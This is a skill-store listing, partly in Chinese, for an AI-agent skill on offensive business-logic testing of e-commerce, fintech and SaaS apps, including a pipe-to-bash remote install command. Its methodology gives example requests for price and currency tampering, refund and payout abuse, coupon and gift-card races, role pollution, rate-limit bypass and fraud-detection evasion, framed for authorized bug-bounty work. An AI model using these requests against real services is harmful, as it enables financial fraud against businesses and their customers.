offensive-business-logic
Business logic vulnerability testing for web/mobile/API engagements. Covers workflow bypass, state machine violations, multi-step process abuse, price/quantity/discount manipulation, currency confusion, coupon stacking, refund/chargeback abuse, race conditions on logic boundaries, parameter tampering for hidden flows, role/tenant boundary violations, time-of-check vs use, anti-automation defeat, fraud-detection evasion, and subscription/quota abuse. Use when scoping an application after surface-level OWASP Top 10 has been covered, or when the asset is a transactional/marketplace/fintech/e-commerce/SaaS app where logic flaws produce direct financial impact.
适合你,如果负责安全测试且应用涉及交易、支付或订阅等业务逻辑。
用别的 agent?下载 .zip 解压,把文件夹放进它的技能目录
~/.claude/skills/(项目级 .claude/skills/)~/.codex/skills/npx oh-my-skill add snailsploit/claude-red/offensive-business-logiccurl -fsSL https://oh-my-skill.com/install.sh | bash -s -- snailsploit/claude-red/offensive-business-logicnpx oh-my-skill verify snailsploit/claude-red/offensive-business-logic怎么用
商店整理自技能原文 · 版本 aeb41ec · 表述以原文为准装上后,Claude 会帮你测试业务逻辑漏洞,比如绕过工作流、篡改价格、滥用优惠券、利用竞态条件等,并给出具体的测试步骤和示例请求。
当你在测试一个交易型、市场、金融、电商或SaaS应用,且已经完成基础的OWASP Top 10测试后,可以启用此技能。
技能原文 SKILL.md
Business Logic — Offensive Testing Methodology
Business logic flaws are the highest-paying class of vulnerability for bug bounty and the hardest for scanners to detect. They live in the gap between what the developer specified and what an attacker can convince the system to accept.
Quick Workflow
- Map every multi-step flow as a state machine (states + allowed transitions + side effects)
- For each transition, ask: who can call it, in what state, with what inputs, how many times
- Probe each axis (state, identity, input, frequency) for assumptions
- Combine flaws — single-axis flaws are usually low severity; chains are critical
- Quantify financial impact per finding (loss-per-attack × scale)
Reconnaissance — Mapping the Logic
Build the State Machine
For each user flow, draw:
- States: cart, pending payment, paid, shipped, refunded, cancelled
- Transitions: which API/UI action, which role, which preconditions
- Side effects: balance change, inventory change, email, webhook
Look for transitions that:
- Skip intermediate states (
cart→shippedwithoutpaid) - Are reversible when they shouldn't be (
shipped→cart) - Trigger side effects more than once
- Allow cross-role invocation
Hidden / Internal Endpoints
# Compare authenticated and unauthenticated JS bundles for buried admin routes diff <(curl https://app/main.js) <(curl -H "Cookie: ..." https://app/main.js) # Look for flag/feature toggles that change UI but not server-side enforcement grep -E '(isAdmin|isInternal|featureFlag|debug)' bundle.js # API spec (OpenAPI/Swagger) often lists endpoints the UI never calls curl https://app/api/openapi.json | jq '.paths | keys'
Workflow / State-Machine Bypass
Skip a Required Step
# Normal flow: /verify-email → /set-password → /enable-2fa → /dashboard # Try jumping directly: GET /dashboard GET /api/account/details POST /api/payout-settings
# Checkout flow: /cart → /address → /shipping → /payment → /confirm
# Skip /payment by replaying /confirm with a previous order's payment-token reference:
POST /api/order/confirm
{ "cartId": "current", "paymentRef": "<old-paid-order-payment-ref>" }
Replay a One-Time Action
# Refund endpoint without idempotency POST /api/orders/123/refund # First call: $50 refunded, order marked refunded POST /api/orders/123/refund # Second call: server checks "is order refunded?" — race the check (see TOCTOU)
State Downgrade
Move a finalized object back to an editable state where mutations have effect:
PUT /api/order/123
{ "status": "draft" } # If accepted, you can now edit the price field
PUT /api/order/123
{ "items": [{ "id": "tv", "price": 1 }] }
Direct Endpoint Invocation
Many admin/backend transitions are reachable from any authenticated user if route-level RBAC is missing while the UI hides them.
# Enumerate verbs on every discovered path
for path in $(cat paths.txt); do
for v in GET POST PUT PATCH DELETE OPTIONS; do
code=$(curl -s -o /dev/null -w "%{http_code}" -X $v -H "Authorization: Bearer $T" https://app$path)
echo "$v $path $code"
done
done | grep -v -E ' (401|403|404) '
Price / Quantity / Currency Manipulation
Negative / Zero / Float Quantities
POST /api/cart/add
{ "sku": "tv", "qty": -1 } # Refund issued for adding negative items?
{ "sku": "tv", "qty": 0.0001 } # Float rounding: $0 line item, full product shipped?
{ "sku": "tv", "qty": 9e99 } # Overflow → wraps to small number, $0 cost?
Hidden Price Fields
POST /api/checkout
{ "items": [{"sku":"tv","qty":1,"price":1}], "total": 1, "tax": 0, "shipping": 0 }
If the server trusts client-supplied price, you set the price. Test every numeric field — price, total, discount, tax, shipping, subtotal, currency.
Currency Confusion
POST /api/checkout
{ "amount": 100, "currency": "JPY" } # Pay 100 JPY (~$0.65) for $100 USD product?
{ "amount": 100, "currency": "VND" } # Even better
{ "amount": 100, "currency": "BTC" } # Or worse: pay in BTC at $1 BTC = $1?
Look for: missing currency normalization, sloppy FX rate caching, currency lookup by user input.
Coupon / Discount Logic
# Apply same coupon multiple times
POST /api/cart/coupon { "code": "SAVE50" }
POST /api/cart/coupon { "code": "SAVE50" } # Stacks?
POST /api/cart/coupon { "code": "save50" } # Case sensitivity gives second slot?
POST /api/cart/coupon { "code": "SAVE50 " } # Whitespace ditto?
# Coupon for a different product
POST /api/cart/apply-coupon { "code": "FREEMOUSE", "appliedTo": "macbook" }
# Negative discount (becomes a surcharge that reduces total when coupon stacked with another)
POST /api/admin/coupon { "code": "X", "percent": -50 } # If admin endpoint reachable
# Expired coupon: change date in payload?
POST /api/cart/coupon { "code": "BLACKFRIDAY", "appliedAt": "2023-11-25T00:00:00Z" }
Cart Tampering
# Add a cheap item, edit the SKU server-side
POST /api/cart/add { "sku": "pen", "qty": 1 }
PUT /api/cart/items/abc { "sku": "macbook" } # SKU swap with pen's price retained?
Refund / Chargeback / Payout Abuse
Refund More Than You Paid
POST /api/orders/123/refund { "amount": 99999 }
Refund After Returning Less
Order ships 5 items, you return 1, request refund for full order. Logic should compute refund per returned item; if it computes per order, free items.
Convert Refund to Different Method
POST /api/orders/123/refund { "method": "store-credit" }
# vs original card payment → store credit can be transferred / sold
Payout Account Race
PUT /api/payout-account { "iban": "ATTACKER" }
POST /api/withdraw { "amount": 1000 }
PUT /api/payout-account { "iban": "ORIGINAL" } # Restore before audit
Identity / Tenant / Role Boundary
Role Confusion via Multipart / Parameter Pollution
POST /api/users/me
role=user&role=admin # Last-wins parser → admin
{"role": "user", "role": "admin"} # JSON last-wins
Tenant ID Substitution in Hidden Field
POST /api/invoices
{ "amount": 100, "tenantId": "victim-corp", "billTo": "attacker" }
# Charges victim-corp for attacker's order
Mass Assignment / Field Whitelist
PUT /api/users/me
{ "email": "x@y.com", "isAdmin": true, "credits": 10000, "tenantId": "victim" }
Test every field that exists on the model, not just those the form exposes.
Indirect Privilege via Object Linking
POST /api/projects/PUBLIC-PROJECT/share-token # Anyone can mint GET /api/projects/PUBLIC-PROJECT/internal-only-data?token=... # Sharing API meant for collaborators bypasses role check on data API
Race Conditions on Logic Boundaries
Logic checks that read state, then act on state, are TOCTOU-vulnerable. (Also see: offensive-toctou, offensive-race-condition.)
Single-Packet Multi-Request
# Burp Repeater "Send group in parallel (single-packet attack)" — HTTP/2 over TLS, # all requests' last frames sent in one TCP segment. Server processes them concurrently.
Common Logic Races
| Flow | Race | |------|------| | Coupon redemption | N parallel apply-coupon calls each see "unused" | | 2FA verification | Submit code N times in parallel before lockout counter increments | | Withdrawal | Parallel withdraws each see full balance | | Vote / Like / Reaction | "One per user" check raced | | Invitation acceptance | Multiple accepts → multiple seats granted | | Free-trial signup | Parallel signups → multiple trials per email | | Gift-card redeem | Parallel redeems → multi-spend a single card | | Inventory reservation | Parallel buys of last item → oversell, supplier covers difference |
Amplification
# Send 30 parallel "redeem $10 gift card" requests, all see balance = $10 # Result: $300 credited from a $10 card
Anti-Automation / Fraud Defeat
Captcha / Rate Limit Bypass
| Bypass | Mechanic | |--------|----------| | Token reuse | One captcha solve, replay token across many requests | | Endpoint mirror | /api/v1/login rate-limited, /api/v2/login not | | Header rotation | X-Forwarded-For: <random> resets per-IP counter | | HTTP/2 stream multiplexing | Each stream counted as same conn → window only | | Method/case variation | POST /Login vs POST /login keyed differently in cache |
Device Fingerprint / Velocity
- New device → require step-up auth. Replay captured device cookies / FingerprintJS hash.
- Velocity counters (5 logins/hour) often per
(userid, ip)not peruserid. - Risk score thresholds: small purchases skip review. Test the boundary ($99.99 vs $100).
Free Trial / Sign-Up Abuse
# Email aliasing attacker+1@gmail.com, attacker+2@gmail.com # Plus-aliasing attacker.@gmail.com, a.t.t.acker@gmail.com # Dots ignored on Gmail attacker@googlemail.com # gmail/googlemail equivalence # Phone number recycling (number-portable VOIP) — identity not unique # Device-ID rotation (mobile testing) — wipe storage, new install
Referral / Reward Loops
POST /api/refer { "email": "a@x.com" } # +$5 to me when they sign up
# Sign up the alias, receive referral
POST /api/refer { "email": "a+1@x.com" } # Repeat — many sign-ups, all same person
Subscription / Quota / Tier Abuse
Tier Downgrade Retains Premium Features
PUT /api/subscription { "tier": "free" } # Cancel paid
GET /api/feature/premium-export # Still works because feature flag cached?
Mid-Cycle Quota Reset
PUT /api/subscription { "tier": "pro" } # +1000 quota
PUT /api/subscription { "tier": "free" } # Resets to 0? Or just caps display?
PUT /api/subscription { "tier": "pro" } # +1000 again — net 2000 in one cycle
Add-On Stacking
POST /api/addons { "id": "extra-storage" } # +10GB
POST /api/addons { "id": "extra-storage" } # Stacks to 20GB?
POST /api/addons { "id": "extra-storage" } # Or charges once, stacks N times?
Time-Based Logic
Time Travel via Headers
POST /api/checkout Date: Wed, 01 Jan 2020 00:00:00 GMT # Server-trusted time? X-Request-Time: 1577836800
Promotion Window
Set client-side date to inside the window, server validates X-Promo-Time parameter. Stale promo cache means yesterday's prices apply today.
Token / Session Expiry
Refresh token endpoint that doesn't check the original token's expiry → indefinite session extension.
Combining Flaws — Where the Crits Live
Single-axis findings are interesting; chains are payouts.
Example chain (real, paid bounty):
- Coupon stacking allows
100% off× 2 → negative total - Negative total → store credit issued (refund of "overpayment")
- Store credit transferable to gift card
- Gift card race condition → multiplied
- Gift card redeemable on partner site for cash equivalents
Chain template:
- Find a thing the system gives you (credit, points, slot, seat)
- Find a way to multiply it (race, replay, stacking)
- Find a way to convert it to value (transfer, refund, payout)
Engagement Approach
Day 1: Map state machines for top 3 money flows. Day 2: Per state, list what the UI does. Check what the API allows. Day 3: Single-axis tests (price tampering, role mass-assignment, replay, currency). Day 4: Race conditions on every "one-shot" action. Day 5: Chain the findings. Quantify financial impact per chain.
Document each finding as: pre-conditions → exact request sequence → state delta → financial impact per execution → scaling factor.
Reporting Hooks
Business-logic findings often get downgraded by triagers who don't understand the chain. Always include:
- A diagram of the intended flow vs. the achieved flow
- A scripted PoC that runs end-to-end (no manual steps)
- A dollar value per execution and a feasibility statement for repeating it
- The fix at the right layer (state machine validator, not just input validation)
Key References
- OWASP WSTG-BUSL — Business Logic Testing chapter
- PortSwigger Web Security Academy: Business logic vulnerabilities track
- MITRE ATT&CK: T1539 (Steal Web Session Cookie), T1078 (Valid Accounts) — for chained access
- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/business-logic.md